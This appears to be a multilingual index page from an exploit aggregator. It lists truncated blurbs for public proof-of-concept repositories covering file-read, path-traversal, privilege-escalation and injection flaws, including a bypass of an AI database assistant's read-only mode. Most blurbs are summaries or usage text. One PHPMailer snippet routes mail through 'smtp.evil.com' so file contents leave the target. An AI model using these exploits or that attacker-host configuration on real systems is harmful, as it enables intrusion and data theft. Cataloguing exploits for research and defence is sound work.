cve-2020-5902

cve-2020-5902 cve-2020-5902 POC एक्सप्लॉइट root@kitploit: POC CVE-2020-5902 - r0ttenbeef Usage: cve-2020-5902.py options Options: -h, --help show this help message and exit -u URL, --url=URL specify target url EX:http://100.200.300.10/ -i, --info grap some informations -f FILENAME, --file=FILENAM...

CVE-2025-30208-Series

CVE-2025-30208 & CVE-2025-31125 & CVE-2025-31486 1. Vulnerability Overview CVE-2025-30208, CVE-2025-31125 and CVE-2025-31486 are arbitrary file reading vulnerabilities in the Vite development server. These vulnerabilities allow an attacker to bypass access controls through specific URL parameters...

cve-2023-42824

cve-2023-42824 cow bypass double-read?...

CVE-2024-4040

CVE-2024-4040 A server side template injection vulnerability in CrushFTP in all versions before 10.7.1 and 11.1.0 on all platforms allows unauthenticated remote attackers to read files from the filesystem outside of the VFS Sandbox, bypass authentication to gain administrative access, and perform...

CVE-2017-5223

CVE-2017-5223 IsSMTP; $mail-Host = "smtp.evil.com"; $mail-Port = 25; $mail-SMTPAuth = true; $mail-CharSet = "UTF-8"; $mail-Encoding = "base64"; $mail-Username = "[email protected]"; $mail-Password = "tes1234t"; $mail-Subject = "hello"; $mail-From = "[email protected]"; $mail-FromName =...

CVE-2023-26255-6

سكربت POC لثغرة قراءة الملفات التعسفية عبر معامل FileName في إضافة Jira plugin STAGIL Navigation طريقة الاستخدام كما يلي: فحص عنوان URL واحد 1. افحص عنوان URL واحدًا عبر واجهة سطر الأوامر، باستخدام المعامل -U لتمرير معامل URL 2. لاحظ النتيجة المعروضة؛ إذا ظهرت is vulnerable! فهذا يعني أن هذا...

CVE-2022-0847

DIRTY PIPE CVE-2022-0847 This is a kernel vulnerability that allows overwriting of data in arbitrary read-only files, which can therefore lead to privilege escalation since an unprivileged process can write into a privileged process. All credits go to 🥇Max Kellermann for finding the vulnerability...

wpgarlic

wpgarlic एक प्रूफ-ऑफ-कॉन्सेप्ट वर्डप्रेस प्लगइन फ़ज़र जिसने लगभग 30 मिलियन साइटों पर स्थापित 300 से अधिक वर्डप्रेस प्लगइन्स में कमज़ोरियाँ खोज निकालीं। इस्तेमाल की गई तकनीक का वर्णन https://kazet.cc/2022/02/03/fuzzing-wordpress-plugins.html पर किया गया है। अगर आप शोध जारी रखना चाहते हैं, तो कम...

CVE-2024-36991

Splunk Path Traversal Exploit CVE-2024-36991 Description This is a Proof-of-Concept PoC exploit script for CVE-2024-36991 , a path traversal vulnerability affecting Splunk Enterprise on Windows versions below: 9.2.2 9.1.5 9.0.10 The vulnerability allows unauthenticated attackers to access sensiti...

functrace

functrace - A function tracer functrace is a tool that helps to analyze a binary file with dynamic instrumentation using DynamoRIO http://dynamorio.org/. These are some implemented features based on DynamoRIO: disassemble all the executed code disassemble a specific function dump if these are...

vucsa

Vulnerable Client-Server Application VuCSA Vulnerable client-server application VuCSA is made for learning/presenting how to perform penetration tests of non-http client-server applications. It is written in Java with JavaFX graphical user interface. Currently, the vulnerable application contains...

RtlHijack

RtlHijack مستودع يحتوي على نصوص برمجية لتوضيح بدائيات قراءة وكتابة بديلة باستخدام دوال Rtl بالطريقة غير المقصودة. RtlFillMemory.c RtlFillMemory تأخذ ثلاثة وسائط: مؤشرًا إلى الذاكرة الوجهة، وعدد البايتات المراد كتابتها، وقيمة بايت واحدة. وهي تكتب بايتًا واحدًا فقط في كتلة الذاكرة المحددة...

pgadmin-ai-assistant-sql-injection-cve-2026-17351-lexer-differential-bypass

CVE-2026-17351 — تجاوز وضع القراءة فقط في المساعد الذكي لـ pgAdmin 4 عبر اختلاف المُحلِّل المعجمي PoC لثغرة CVE-2026-17351، وهي تجاوز حرج بدرجة CVSS 9.0 لحقن SQL في المساعد الذكي الخاص بـ pgAdmin 4. ملخص الثغرة تستخدم إصدارات pgAdmin 4 من 9.13 حتى 9.16 مكتبة sqlparse الخاصة ببايثون للتحقق من أن...

CVE-2026-14975

The WP File Download WordPress plugin (all versions up to and including 6.3.8 ) is vulnerable to Directory Traversal via the remoteurl parameter, discovered by 0xd4rk5id3 (EnvoraSec). An authenticated attacker with Subscriber-level access first poisons the _wpfd_file_metadata['file'] post-meta va...

CVE-2025-4602

eMagicOne Store Manager for WooCommerce = 1.2.5 - Unauthenticated Arbitrary File Read The eMagicOne Store Manager for WooCommerce plugin exposes a remote management protocol endpoint ?connector=bridge that allows file deletion operations on the server. The authentication mechanism relies on a...

ghostcat

This tool exploits an LFI vulnerability within Apache Tomcat named CVE-2020-1938 to not only view sensitive files, but also to run malicious JSP payloads. It can be downloaded here you will need to run it from the command line Usage:...

CVE-2025-2539

CVE-2025-2539 PoC Unauthenticated Arbitrary File Read exploit for WordPress File Away Plugin ≤ 3.9.9.0.1 📖 Description This Python script is a proof-of-concept PoC exploit for CVE-2025-2539 , targeting a vulnerability in the WordPress File Away Plugin ≤ 3.9.9.0.1. The vulnerability allows...

xpc-string-leak

xpc-string-leak xpc-string-leak libxpc में एक आउट-ऑफ-बाउंड्स मेमोरी रीड का प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट है। यह एक्सप्लॉइट diagnosticd से आउट-ऑफ-बाउंड्स हीप मेमोरी पढ़ने के लिए कमजोरी का उपयोग करता है, जो कि taskforpid-allow एंटाइटलमेंट वाली एक अनसैंडबॉक्स्ड रूट प्रक्रिया है। कमजोरी: CVE-2018-424...

CVE-2016-10956-mail-masta

Mail Masta - Local File Read CVE-2016-10956 The mail-masta plugin 1.0 for WordPress has local file read in countofsend.php and csvexport.php. Usage root@kitploit: $ ./CVE-2016-10956mailmasta.py -h + Mail Masta - Local File Read CVE-2016-10956 usage: CVE-2016-10956mailmasta.py -h -v -s -t TARGETUR...

CVE-2022-44268-Exploit

CVE-2022-44268-Exploit CVE-2022-44268 के लिए एक्सप्लॉइट मनमाना फ़ाइल पढ़ने का PoC - PNG जनरेटर यह ImageMagick बग का एक प्रूफ ऑफ कॉन्सेप्ट है जिसे https://www.metabaseq.com/imagemagick-zero-days/ द्वारा खोजा गया है। malfile वेरिएबल को pwd/pngout.png पर एडिट करें cmd को कमजोर magick इंस्टॉलेशन पथ प...